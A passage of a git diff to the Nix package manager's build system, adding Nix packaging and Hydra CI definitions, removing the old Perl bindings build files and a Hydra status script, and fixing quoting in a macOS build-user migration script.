(enableManual -> doBuild) + ]); + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = ["fortify"]; + + NIX_CFLAGS_COMPILE = "-DCOVERAGE=1"; + + dontInstall = false; +} // lib.optionalAttrs (test-daemon != null) { + NIX_DAEMON_PACKAGE = test-daemon; +} // lib.optionalAttrs (test-client != null) { + NIX_CLIENT_PACKAGE = test-client; +}) diff --git a/packaging/components.nix b/packaging/components.nix new file mode 100644 index 000000000..5fc3236cf --- /dev/null +++ b/packaging/components.nix @@ -0,0 +1,70 @@ +{ + lib, + src, + officialRelease, +}: + +scope: + +let + inherit (scope) callPackage; + + baseVersion = lib.fileContents ../.version; + + versionSuffix = lib.optionalString (!officialRelease) "pre"; + + fineVersionSuffix = lib.optionalString + (!officialRelease) + "pre${builtins.substring 0 8 (src.lastModifiedDate or src.lastModified or "19700101")}_${src.shortRev or "dirty"}"; + + fineVersion = baseVersion + fineVersionSuffix; +in + +# This becomes the pkgs.nixComponents attribute set +{ + version = baseVersion + versionSuffix; + inherit versionSuffix; + + nix = callPackage ../package.nix { + version = fineVersion; + versionSuffix = fineVersionSuffix; + }; + + nix-util = callPackage ../src/libutil/package.nix { }; + nix-util-c = callPackage ../src/libutil-c/package.nix { }; + nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { }; + nix-util-tests = callPackage ../tests/unit/libutil/package.nix { }; + + nix-store = callPackage ../src/libstore/package.nix { }; + nix-store-c = callPackage ../src/libstore-c/package.nix { }; + nix-store-test-support = callPackage ../tests/unit/libstore-support/package.nix { }; + nix-store-tests = callPackage ../tests/unit/libstore/package.nix { }; + + nix-fetchers = callPackage ../src/libfetchers/package.nix { }; + nix-fetchers-tests = callPackage ../tests/unit/libfetchers/package.nix { }; + + nix-expr = callPackage ../src/libexpr/package.nix { }; + nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; + nix-expr-test-support = callPackage ../tests/unit/libexpr-support/package.nix { }; + nix-expr-tests = callPackage ../tests/unit/libexpr/package.nix { }; + + nix-flake = callPackage ../src/libflake/package.nix { }; + nix-flake-tests = callPackage ../tests/unit/libflake/package.nix { }; + + nix-main = callPackage ../src/libmain/package.nix { }; + nix-main-c = callPackage ../src/libmain-c/package.nix { }; + + nix-cmd = callPackage ../src/libcmd/package.nix { }; + + nix-cli = callPackage ../src/nix/package.nix { version = fineVersion; }; + + nix-functional-tests = callPackage ../src/nix-functional-tests/package.nix { version = fineVersion; }; + + nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { version = fineVersion; }; + nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { version = fineVersion; }; + + nix-perl-bindings = callPackage ../src/perl/package.nix { }; + + # Will replace `nix` once the old build system is gone. + nix-ng = callPackage ../packaging/everything.nix { }; +} diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix new file mode 100644 index 000000000..21c48e5cc --- /dev/null +++ b/packaging/dependencies.nix @@ -0,0 +1,162 @@ +# These overrides are applied to the dependencies of the Nix components. + +{ + # Flake inputs; used for sources + inputs, + + # The raw Nixpkgs, not affected by this scope + pkgs, + + stdenv, +}: + +let + prevStdenv = stdenv; +in + +let + inherit (pkgs) lib; + + root = ../.; + + stdenv = if prevStdenv.isDarwin && prevStdenv.isx86_64 + then darwinStdenv + else prevStdenv; + + # Fix the following error with the default x86_64-darwin SDK: + # + # error: aligned allocation function of type 'void *(std::size_t, std::align_val_t)' is only available on macOS 10.13 or newer + # + # Despite the use of the 10.13 deployment target here, the aligned + # allocation function Clang uses with this setting actually works + # all the way back to 10.6. + darwinStdenv = pkgs.overrideSDK prevStdenv { darwinMinVersion = "10.13"; }; + + # Nixpkgs implements this by returning a subpath into the fetched Nix sources. + resolvePath = p: p; + + # Indirection for Nixpkgs to override when package.nix files are vendored + filesetToSource = lib.fileset.toSource; + + localSourceLayer = finalAttrs: prevAttrs: + let + workDirPath = + # Ideally we'd pick finalAttrs.workDir, but for now `mkDerivation` has + # the requirement that everything except passthru and meta must be + # serialized by mkDerivation, which doesn't work for this. + prevAttrs.workDir; + + workDirSubpath = lib.path.removePrefix root workDirPath; + sources = assert prevAttrs.fileset._type == "fileset"; prevAttrs.fileset; + src = lib.fileset.toSource { fileset = sources; inherit root; }; + + in + { + sourceRoot = "${src.name}/" + workDirSubpath; + inherit src; + + # Clear what `derivation` can't/shouldn't serialize; see prevAttrs.workDir. + fileset = null; + workDir = null; + }; + + # Work around weird `--as-needed` linker behavior with BSD, see + # https://github.com/mesonbuild/meson/issues/3593 + bsdNoLinkAsNeeded = finalAttrs: prevAttrs: + lib.optionalAttrs stdenv.hostPlatform.isBSD { + mesonFlags = [ (lib.mesonBool "b_asneeded" false) ] ++ prevAttrs.mesonFlags or []; + }; + + miscGoodPractice = finalAttrs: prevAttrs: + { + strictDeps = prevAttrs.strictDeps or true; + enableParallelBuilding = true; + }; +in +scope: { + inherit stdenv; + + aws-sdk-cpp = (pkgs.aws-sdk-cpp.override { + apis = [ "s3" "transfer" ]; + customMemoryManagement = false; + }).overrideAttrs { + # only a stripped down version is built, which takes a lot less resources + # to build, so we don't need a "big-parallel" machine. + requiredSystemFeatures = [ ]; + }; + + libseccomp = pkgs.libseccomp.overrideAttrs (_: rec { + version = "2.5.5"; + src = pkgs.fetchurl { + url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; + hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U="; + }; + }); + + boehmgc = pkgs.boehmgc.override { + enableLargeConfig = true; + }; + + # TODO Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed. + boost = (pkgs.boost.override { + extraB2Args = [ + "--with-container" + "--with-context" + "--with-coroutine" + ]; + }).overrideAttrs (old: { + # Need to remove `--with-*` to use `--with-libraries=...` + buildPhase = lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase; + installPhase = lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase; + }); + + libgit2 = pkgs.libgit2.overrideAttrs (attrs: { + src = inputs.libgit2; + version = inputs.libgit2.lastModifiedDate; + cmakeFlags = attrs.cmakeFlags or [] + ++ [ "-DUSE_SSH=exec" ]; + }); + + busybox-sandbox-shell = pkgs.busybox-sandbox-shell or (pkgs.busybox.override { + useMusl = true; + enableStatic = true; + enableMinimal = true; + extraConfig = '' + CONFIG_FEATURE_FANCY_ECHO y + CONFIG_FEATURE_SH_MATH y + CONFIG_FEATURE_SH_MATH_64 y + + CONFIG_ASH y + CONFIG_ASH_OPTIMIZE_FOR_SIZE y + + CONFIG_ASH_ALIAS y + CONFIG_ASH_BASH_COMPAT y + CONFIG_ASH_CMDCMD y + CONFIG_ASH_ECHO y + CONFIG_ASH_GETOPTS y + CONFIG_ASH_INTERNAL_GLOB y + CONFIG_ASH_JOB_CONTROL y + CONFIG_ASH_PRINTF y + CONFIG_ASH_TEST y + ''; + }); + + # TODO change in Nixpkgs, Windows works fine. First commit of + # https://github.com/NixOS/nixpkgs/pull/322977 backported will fix. + toml11 = pkgs.toml11.overrideAttrs (old: { + meta.platforms = lib.platforms.all; + }); + + inherit resolvePath filesetToSource; + + mkMesonDerivation = f: let + exts = [ + miscGoodPractice + bsdNoLinkAsNeeded + localSourceLayer + ]; + in stdenv.mkDerivation + (lib.extends + (lib.foldr lib.composeExtensions (_: _: {}) exts) + f); +} diff --git a/packaging/everything.nix b/packaging/everything.nix new file mode 100644 index 000000000..8c8ce6611 --- /dev/null +++ b/packaging/everything.nix @@ -0,0 +1,93 @@ +{ + lib, + stdenv, + buildEnv, + + nix-util, + nix-util-c, + nix-util-test-support, + nix-util-tests, + + nix-store, + nix-store-c, + nix-store-test-support, + nix-store-tests, + + nix-fetchers, + nix-fetchers-tests, + + nix-expr, + nix-expr-c, + nix-expr-test-support, + nix-expr-tests, + + nix-flake, + nix-flake-tests, + + nix-main, + nix-main-c, + + nix-cmd, + + nix-cli, + + nix-functional-tests, + + nix-internal-api-docs, + nix-external-api-docs, + + nix-perl-bindings, +}: + +(buildEnv rec { + name = "nix-${nix-cli.version}"; + paths = [ + nix-util + nix-util-c + nix-util-test-support + nix-util-tests + + nix-store + nix-store-c + nix-store-test-support + nix-store-tests + + nix-fetchers + nix-fetchers-tests + + nix-expr + nix-expr-c + nix-expr-test-support + nix-expr-tests + + nix-flake + nix-flake-tests + + nix-main + nix-main-c + + nix-cmd + + nix-cli + + nix-internal-api-docs + nix-external-api-docs + + ] ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ + nix-perl-bindings + ]; +}).overrideAttrs (_: { + doCheck = true; + doInstallCheck = true; + + checkInputs = [ + # Actually run the unit tests too + nix-util-tests.tests.run + nix-store-tests.tests.run + nix-expr-tests.tests.run + nix-flake-tests.tests.run + ]; + installCheckInputs = [ + nix-functional-tests + ]; +}) diff --git a/packaging/hydra.nix b/packaging/hydra.nix new file mode 100644 index 000000000..65978835c --- /dev/null +++ b/packaging/hydra.nix @@ -0,0 +1,211 @@ +{ inputs +, binaryTarball +, forAllCrossSystems +, forAllSystems +, lib +, linux64BitSystems +, nixpkgsFor +, self +, officialRelease +}: +let + inherit (inputs) nixpkgs nixpkgs-regression; + + installScriptFor = tarballs: + nixpkgsFor.x86_64-linux.native.callPackage ../scripts/installer.nix { + inherit tarballs; + }; + + testNixVersions = pkgs: client: daemon: + pkgs.nixComponents.callPackage ../package.nix { + pname = + "nix-tests" + + lib.optionalString + (lib.versionAtLeast daemon.version "2.4pre20211005" && + lib.versionAtLeast client.version "2.4pre20211005") + "-${client.version}-against-${daemon.version}"; + + test-client = client; + test-daemon = daemon; + + doBuild = false; + + # This could be more accurate, but a shorter version will match the + # fine version with rev. This functionality is already covered in + # the normal test, so it's fine. + version = pkgs.nixComponents.version; + versionSuffix = pkgs.nixComponents.versionSuffix; + }; + + # Technically we could just return `pkgs.nixComponents`, but for Hydra it's + # convention to transpose it, and to transpose it efficiently, we need to + # enumerate them manually, so that we don't evaluate unnecessary package sets. + forAllPackages = lib.genAttrs [ + "nix" + "nix-util" + "nix-util-c" + "nix-util-test-support" + "nix-util-tests" + "nix-store" + "nix-store-c" + "nix-store-test-support" + "nix-store-tests" + "nix-fetchers" + "nix-fetchers-tests" + "nix-expr" + "nix-expr-c" + "nix-expr-test-support" + "nix-expr-tests" + "nix-flake" + "nix-flake-tests" + "nix-main" + "nix-main-c" + "nix-cmd" + "nix-cli" + "nix-functional-tests" + "nix-ng" + ]; +in +{ + # Binary package for various platforms. + build = forAllPackages (pkgName: + forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.${pkgName})); + + shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); + + buildStatic = forAllPackages (pkgName: + lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.nixComponents.${pkgName})); + + buildCross = forAllPackages (pkgName: + # Hack to avoid non-evaling package + (if pkgName == "nix-functional-tests" then lib.flip builtins.removeAttrs ["x86_64-w64-mingw32"] else lib.id) + (forAllCrossSystems (crossSystem: + lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.nixComponents.${pkgName})))); + + buildNoGc = forAllSystems (system: + self.packages.${system}.nix.override { enableGC = false; } + ); + + buildNoTests = forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.nix-cli); + + # Toggles some settings for better coverage. Windows needs these + # library combinations, and Debian build Nix with GNU readline too. + buildReadlineNoMarkdown = forAllSystems (system: + self.packages.${system}.nix.override { + enableMarkdown = false; + readlineFlavor = "readline"; + } + ); + + # Perl bindings for various platforms. + perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.nix-perl-bindings); + + # Binary tarball for various platforms, containing a Nix store + # with the closure of 'nix' package, and the second half of + # the installation script. + binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native); + + binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system: + forAllCrossSystems (crossSystem: + binaryTarball + nixpkgsFor.${system}.cross.${crossSystem}.nix + nixpkgsFor.${system}.cross.${crossSystem})); + + # The first half of the installation script. This is uploaded + # to https://nixos.org/nix/install. It downloads the binary + # tarball for the user's system and calls the second half of the + # installation script. + installerScript = installScriptFor [ + # Native + self.hydraJobs.binaryTarball."x86_64-linux" + self.hydraJobs.binaryTarball."i686-linux" + self.hydraJobs.binaryTarball."aarch64-linux" + self.hydraJobs.binaryTarball."x86_64-darwin" + self.hydraJobs.binaryTarball."aarch64-darwin" + # Cross + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" + ]; + installerScriptForGHA = installScriptFor [ + # Native + self.hydraJobs.binaryTarball."x86_64-linux" + self.hydraJobs.binaryTarball."aarch64-darwin" + # Cross + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" + ]; + + # docker image with Nix inside + dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage); + + # Line coverage analysis. + coverage = nixpkgsFor.x86_64-linux.native.nix.override { + pname = "nix-coverage"; + withCoverageChecks = true; + }; + + # API docs for Nix's unstable internal C++ interfaces. + internal-api-docs = nixpkgsFor.x86_64-linux.native.nixComponents.nix-internal-api-docs; + + # API docs for Nix's C bindings. + external-api-docs = nixpkgsFor.x86_64-linux.native.nixComponents.nix-external-api-docs; + + # System tests. + tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // { + + # Make sure that nix-env still produces the exact same result + # on a particular version of Nixpkgs. + evalNixpkgs = + let + inherit (nixpkgsFor.x86_64-linux.native) runCommand nix; + in + runCommand "eval-nixos" { buildInputs = [ nix ]; } + '' + type -p nix-env + # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. + ( + set -x + time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages + [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] + ) + mkdir $out + ''; + + nixpkgsLibTests = + forAllSystems (system: + import (nixpkgs + "/lib/tests/test-with-nix.nix") + { + lib = nixpkgsFor.${system}.native.lib; + nix = self.packages.${system}.nix; + pkgs = nixpkgsFor.${system}.native; + } + ); + }; + + metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" { + pkgs = nixpkgsFor.x86_64-linux.native; + nixpkgs = nixpkgs-regression; + }; + + installTests = forAllSystems (system: + let pkgs = nixpkgsFor.${system}.native; in + pkgs.runCommand "install-tests" + { + againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; + againstCurrentLatest = + # FIXME: temporarily disable this on macOS because of #3605. + if system == "x86_64-linux" + then testNixVersions pkgs pkgs.nix pkgs.nixVersions.latest + else null; + # Disabled because the latest stable version doesn't handle + # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work + # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable; + } "touch $out"); + + installerTests = import ../tests/installer { + binaryTarballs = self.hydraJobs.binaryTarball; + inherit nixpkgsFor; + }; +} diff --git a/perl/Makefile b/perl/Makefile deleted file mode 100644 index 708f86882..000000000 --- a/perl/Makefile +++ /dev/null @@ -1,15 +0,0 @@ -makefiles = local.mk - -GLOBAL_CXXFLAGS += -g -Wall -std=c++17 -I ../src - --include Makefile.config - -OPTIMIZE = 1 - -ifeq ($(OPTIMIZE), 1) - GLOBAL_CXXFLAGS += -O3 -else - GLOBAL_CXXFLAGS += -O0 -endif - -include mk/lib.mk diff --git a/perl/Makefile.config.in b/perl/Makefile.config.in deleted file mode 100644 index d856de3ad..000000000 --- a/perl/Makefile.config.in +++ /dev/null @@ -1,18 +0,0 @@ -HOST_OS = @host_os@ -CC = @CC@ -CFLAGS = @CFLAGS@ -CXX = @CXX@ -CXXFLAGS = @CXXFLAGS@ -PACKAGE_NAME = @PACKAGE_NAME@ -PACKAGE_VERSION = @PACKAGE_VERSION@ -SODIUM_LIBS = @SODIUM_LIBS@ -NIX_CFLAGS = @NIX_CFLAGS@ -NIX_LIBS = @NIX_LIBS@ -nixbindir = @nixbindir@ -curl = @curl@ -nixlibexecdir = @nixlibexecdir@ -nixlocalstatedir = @nixlocalstatedir@ -perl = @perl@ -perllibdir = @perllibdir@ -nixstoredir = @nixstoredir@ -nixsysconfdir = @nixsysconfdir@ diff --git a/perl/configure.ac b/perl/configure.ac deleted file mode 100644 index a02cb06c9..000000000 --- a/perl/configure.ac +++ /dev/null @@ -1,84 +0,0 @@ -AC_INIT(nix-perl, m4_esyscmd([bash -c "echo -n $(cat ../.version)$VERSION_SUFFIX"])) -AC_CONFIG_SRCDIR(MANIFEST) -AC_CONFIG_AUX_DIR(../config) - -CFLAGS= -CXXFLAGS= -AC_PROG_CC -AC_PROG_CXX - -AC_CANONICAL_HOST - -# Use 64-bit file system calls so that we can support files > 2 GiB. -AC_SYS_LARGEFILE - -AC_DEFUN([NEED_PROG], -[ -AC_PATH_PROG($1, $2) -if test -z "$$1"; then - AC_MSG_ERROR([$2 is required]) -fi -]) - -NEED_PROG(perl, perl) -NEED_PROG(curl, curl) -NEED_PROG(bzip2, bzip2) -NEED_PROG(xz, xz) - -# Test that Perl has the open/fork feature (Perl 5.8.0 and beyond). -AC_MSG_CHECKING([whether Perl is recent enough]) -if ! $perl -e 'open(FOO, "-|", "true"); while () { print; }; close FOO or die;'; then - AC_MSG_RESULT(no) - AC_MSG_ERROR([Your Perl version is too old. Nix requires Perl 5.8.0 or newer.]) -fi -AC_MSG_RESULT(yes) - - -# Figure out where to install Perl modules. -AC_MSG_CHECKING([for the Perl installation prefix]) -perlversion=$($perl -e 'use Config; print $Config{version};') -perlarchname=$($perl -e 'use Config; print $Config{archname};') -AC_SUBST(perllibdir, [${libdir}/perl5/site_perl/$perlversion/$perlarchname]) -AC_MSG_RESULT($perllibdir) - -# Look for libsodium. -PKG_CHECK_MODULES([SODIUM], [libsodium], [CXXFLAGS="$SODIUM_CFLAGS $CXXFLAGS"]) - -# Check for the required Perl dependencies (DBI and DBD::SQLite). -perlFlags="-I$perllibdir" - -AC_ARG_WITH(dbi, AC_HELP_STRING([--with-dbi=PATH], - [prefix of the Perl DBI library]), - perlFlags="$perlFlags -I$withval") - -AC_ARG_WITH(dbd-sqlite, AC_HELP_STRING([--with-dbd-sqlite=PATH], - [prefix of the Perl DBD::SQLite library]), - perlFlags="$perlFlags -I$withval") - -AC_MSG_CHECKING([whether DBD::SQLite works]) -if ! $perl $perlFlags -e 'use DBI; use DBD::SQLite;' 2>&5; then - AC_MSG_RESULT(no) - AC_MSG_FAILURE([The Perl modules DBI and/or DBD::SQLite are missing.]) -fi -AC_MSG_RESULT(yes) - -AC_SUBST(perlFlags) - -PKG_CHECK_MODULES([NIX], [nix-store]) - -NEED_PROG([NIX], [nix]) - -# Expand all variables in config.status. -test "$prefix" = NONE && prefix=$ac_default_prefix -test "$exec_prefix" = NONE && exec_prefix='${prefix}' -for name in $ac_subst_vars; do - declare $name="$(eval echo "${!name}")" - declare $name="$(eval echo "${!name}")" - declare $name="$(eval echo "${!name}")" -done - -rm -f Makefile.config -ln -sfn ../mk mk - -AC_CONFIG_FILES([]) -AC_OUTPUT diff --git a/perl/lib/Nix/Store.pm b/perl/lib/Nix/Store.pm deleted file mode 100644 index 3e4bbee0a..000000000 --- a/perl/lib/Nix/Store.pm +++ /dev/null @@ -1,42 +0,0 @@ -package Nix::Store; - -use strict; -use warnings; - -require Exporter; - -our @ISA = qw(Exporter); - -our %EXPORT_TAGS = ( 'all' => [ qw( ) ] ); - -our @EXPORT_OK = ( @{ $EXPORT_TAGS{'all'} } ); - -our @EXPORT = qw( - setVerbosity - isValidPath queryReferences queryPathInfo queryDeriver queryPathHash - queryPathFromHashPart - topoSortPaths computeFSClosure followLinksToStorePath exportPaths importPaths - hashPath hashFile hashString convertHash - signString checkSignature - addToStore makeFixedOutputPath - derivationFromPath - addTempRoot - getBinDir getStoreDir - queryRawRealisation -); - -our $VERSION = '0.15'; - -sub backtick { - open(RES, "-|", @_) or die; - local $/; - my $res = || ""; - close RES or die; - return $res; -} - -require XSLoader; -XSLoader::load('Nix::Store', $VERSION); - -1; -__END__ diff --git a/perl/local.mk b/perl/local.mk deleted file mode 100644 index 0eae651d8..000000000 --- a/perl/local.mk +++ /dev/null @@ -1,43 +0,0 @@ -nix_perl_sources := \ - lib/Nix/Store.pm \ - lib/Nix/Manifest.pm \ - lib/Nix/SSH.pm \ - lib/Nix/CopyClosure.pm \ - lib/Nix/Config.pm.in \ - lib/Nix/Utils.pm - -nix_perl_modules := $(nix_perl_sources:.in=) - -$(foreach x, $(nix_perl_modules), $(eval $(call install-data-in, $(x), $(perllibdir)/Nix))) - -lib/Nix/Store.cc: lib/Nix/Store.xs - $(trace-gen) xsubpp $^ -output $@ - -libraries += Store - -Store_DIR := lib/Nix - -Store_SOURCES := $(Store_DIR)/Store.cc - -Store_CXXFLAGS = \ - $(NIX_CFLAGS) \ - -I$(shell perl -e 'use Config; print $$Config{archlibexp};')/CORE \ - -D_FILE_OFFSET_BITS=64 \ - -Wno-unknown-warning-option -Wno-unused-variable -Wno-literal-suffix \ - -Wno-reserved-user-defined-literal -Wno-duplicate-decl-specifier -Wno-pointer-bool-conversion - -Store_LDFLAGS := $(SODIUM_LIBS) $(NIX_LIBS) - -ifdef HOST_CYGWIN - archlib = $(shell perl -E 'use Config; print $$Config{archlib};') - libperl = $(shell perl -E 'use Config; print $$Config{libperl};') - Store_LDFLAGS += $(shell find ${archlib} -name ${libperl}) -endif - -Store_ALLOW_UNDEFINED = 1 - -Store_FORCE_INSTALL = 1 - -Store_INSTALL_DIR = $(perllibdir)/auto/Nix/Store - -clean-files += lib/Nix/Config.pm lib/Nix/Store.cc Makefile.config diff --git a/precompiled-headers.h b/precompiled-headers.h index f52f1cab8..e1a3f8cc0 100644 --- a/precompiled-headers.h +++ b/precompiled-headers.h @@ -42,19 +42,22 @@ #include #include #include -#include -#include -#include #include -#include -#include -#include #include #include #include -#include -#include -#include #include +#ifndef _WIN32 +# include +# include +# include +# include +# include +# include +# include +# include +# include +#endif + #include diff --git a/scripts/bigsur-nixbld-user-migration.sh b/scripts/bigsur-nixbld-user-migration.sh index f1619fd56..a2e2f30f0 100755 --- a/scripts/bigsur-nixbld-user-migration.sh +++ b/scripts/bigsur-nixbld-user-migration.sh @@ -2,8 +2,8 @@ ((NEW_NIX_FIRST_BUILD_UID=301)) -id_available(){ - dscl . list /Users UniqueID | grep -E '\b'$1'\b' >/dev/null +id_unavailable(){ + dscl . list /Users UniqueID | grep -E '\b'"$1"'\b' >/dev/null } change_nixbld_names_and_ids(){ @@ -15,7 +15,7 @@ change_nixbld_names_and_ids(){ while read -r name uid; do echo " Checking $name (uid: $uid)" # iterate for a clean ID - while id_available "$next_id"; do + while id_unavailable "$next_id"; do ((next_id++)) if ((next_id >= 400)); then echo "We've hit UID 400 without placing all of your users :(" @@ -26,18 +26,18 @@ change_nixbld_names_and_ids(){ fi done - if [[ $name == _* ]]; then + if [[ "$name" == _* ]]; then echo " It looks like $name has already been renamed--skipping." else # first 3 are cleanup, it's OK if they aren't here - sudo dscl . delete /Users/$name dsAttrTypeNative:_writers_passwd &>/dev/null || true - sudo dscl . change /Users/$name NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true + sudo dscl . delete "/Users/$name" dsAttrTypeNative:_writers_passwd &>/dev/null || true + sudo dscl . change "/Users/$name" NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true # remove existing user from group - sudo dseditgroup -o edit -t user -d $name nixbld || true - sudo dscl . change /Users/$name UniqueID $uid $next_id - sudo dscl . change /Users/$name RecordName $name _$name + sudo dseditgroup -o edit -t user -d "$name" nixbld || true + sudo dscl . change "/Users/$name" UniqueID "$uid" "$next_id" + sudo dscl . change "/Users/$name" RecordName "$name" "_$name" # add renamed user to group - sudo dseditgroup -o edit -t user -a _$name nixbld + sudo dseditgroup -o edit -t user -a "_$name" nixbld echo " $name migrated to _$name (uid: $next_id)" fi done < <(dscl . list /Users UniqueID | grep nixbld | sort -n -k2) diff --git a/scripts/binary-tarball.nix b/scripts/binary-tarball.nix new file mode 100644 index 000000000..104189b0c --- /dev/null +++ b/scripts/binary-tarball.nix @@ -0,0 +1,84 @@ +{ runCommand +, system +, buildPackages +, cacert +, nix +}: + +let + + installerClosureInfo = buildPackages.closureInfo { + rootPaths = [ nix cacert ]; + }; + + inherit (nix) version; + + env = { + #nativeBuildInputs = lib.optional (system != "aarch64-linux") shellcheck; + meta.description = "Distribution-independent Nix bootstrap binaries for ${system}"; + }; + +in + +runCommand "nix-binary-tarball-${version}" env '' + cp ${installerClosureInfo}/registration $TMPDIR/reginfo + cp ${./create-darwin-volume.sh} $TMPDIR/create-darwin-volume.sh + substitute ${./install-nix-from-closure.sh} $TMPDIR/install \ + --subst-var-by nix ${nix} \ + --subst-var-by cacert ${cacert} + + substitute ${./install-darwin-multi-user.sh} $TMPDIR/install-darwin-multi-user.sh \ + --subst-var-by nix ${nix} \ + --subst-var-by cacert ${cacert} + substitute ${./install-systemd-multi-user.sh} $TMPDIR/install-systemd-multi-user.sh \ + --subst-var-by nix ${nix} \ + --subst-var-by cacert ${cacert} + substitute ${./install-multi-user.sh} $TMPDIR/install-multi-user \ + --subst-var-by nix ${nix} \ + --subst-var-by cacert ${cacert} + + if type -p shellcheck; then + # SC1090: Don't worry about not being able to find + # $nix/etc/profile.d/nix.sh + shellcheck --exclude SC1090 $TMPDIR/install + shellcheck $TMPDIR/create-darwin-volume.sh + shellcheck $TMPDIR/install-darwin-multi-user.sh + shellcheck $TMPDIR/install-systemd-multi-user.sh + + # SC1091: Don't panic about not being able to source + # /etc/profile + # SC2002: Ignore "useless cat" "error", when loading + # .reginfo, as the cat is a much cleaner + # implementation, even though it is "useless" + # SC2116: Allow ROOT_HOME=$(echo ~root) for resolving + # root's home directory + shellcheck --external-sources \ + --exclude SC1091,SC2002,SC2116 $TMPDIR/install-multi-user + fi + + chmod +x $TMPDIR/install + chmod +x $TMPDIR/create-darwin-volume.sh + chmod +x $TMPDIR/install-darwin-multi-user.sh + chmod +x $TMPDIR/install-systemd-multi-user.sh + chmod +x $TMPDIR/install-multi-user + dir=nix-${version}-${system} + fn=$out/$dir.tar.xz + mkdir -p $out/nix-support + echo "file binary-dist $fn" >> $out/nix-support/hydra-build-products + tar cvfJ $fn \ + --owner=0 --group=0 --mode=u+rw,uga+r \ + --mtime='1970-01-01' \ + --absolute-names \ + --hard-dereference \ + --transform "s,$TMPDIR/install,$dir/install," \ + --transform "s,$TMPDIR/create-darwin-volume.sh,$dir/create-darwin-volume.sh," \ + --transform "s,$TMPDIR/reginfo,$dir/.reginfo," \ + --transform "s,$NIX_STORE,$dir/store,S" \ + $TMPDIR/install \ + $TMPDIR/create-darwin-volume.sh \ + $TMPDIR/install-darwin-multi-user.sh \ + $TMPDIR/install-systemd-multi-user.sh \ + $TMPDIR/install-multi-user \ + $TMPDIR/reginfo \ + $(cat ${installerClosureInfo}/store-paths) +'' diff --git a/scripts/check-hydra-status.sh b/scripts/check-hydra-status.sh deleted file mode 100644 index e62705e94..000000000 --- a/scripts/check-hydra-status.sh +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env bash - -set -euo pipefail -# set -x - - -# mapfile BUILDS_FOR_LATEST_EVAL < <( -# curl -H 'Accept: application/json' https://hydra.nixos.org/jobset/nix/master/evals | \ -# jq -r '.evals[0].builds[] | @sh') -BUILDS_FOR_LATEST_EVAL=$( -curl -sS -H 'Accept: application/json' https://hydra.nixos.org/jobset/nix/master/evals | \ - jq -r '.evals[0].builds[]') - -someBuildFailed=0 - -for buildId in $BUILDS_FOR_LATEST_EVAL; do - buildInfo=$(curl --fail -sS -H 'Accept: application/json' "https://hydra.nixos.org/build/$buildId") - - finished=$(echo "$buildInfo" | jq -r '.finished') - - if [[ $finished = 0 ]]; then - continue - fi - - buildStatus=$(echo "$buildInfo" | jq -r '.buildstatus') - - if [[ $buildStatus != 0 ]]; then - someBuildFailed=1 - echo "Job “$(echo "$buildInfo" | jq -r '.job')” failed on hydra: $buildInfo" - fi -done - -exit "$someBuildFailed" diff --git a/scripts/flake-regressions.sh b/scripts/flake-regressions.sh new file mode 100755 index 000000000..d76531134 --- /dev/null +++ b/scripts/flake-regressions.sh @@ -0,0 +1,27 @@ +#! /usr/bin/env bash + +set -e + +echo "Nix version:" +nix --version + +cd flake-regressions + +status=0 + +flakes=$(find tests -mindepth 3 -maxdepth 3 -type d -not -path '*/.*' | sort | head -n25) + +echo "Running flake tests..." + +for flake in $flakes; do + + if ! REGENERATE=0 ./eval-flake.sh "$flake"; then + status=1 + echo "❌ $flake" + else + echo "✅ $flake" + fi + +done + +exit "$status" diff --git a/scripts/install-darwin-multi-user.sh b/scripts/install-darwin-multi-user.sh index 5111a5dde..24c9052f9 100644 --- a/scripts/install-darwin-multi-user.sh +++ b/scripts/install-darwin-multi-user.sh @@ -3,11 +3,13 @@ set -eu set -o pipefail +# System specific settings +export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-301}" +export 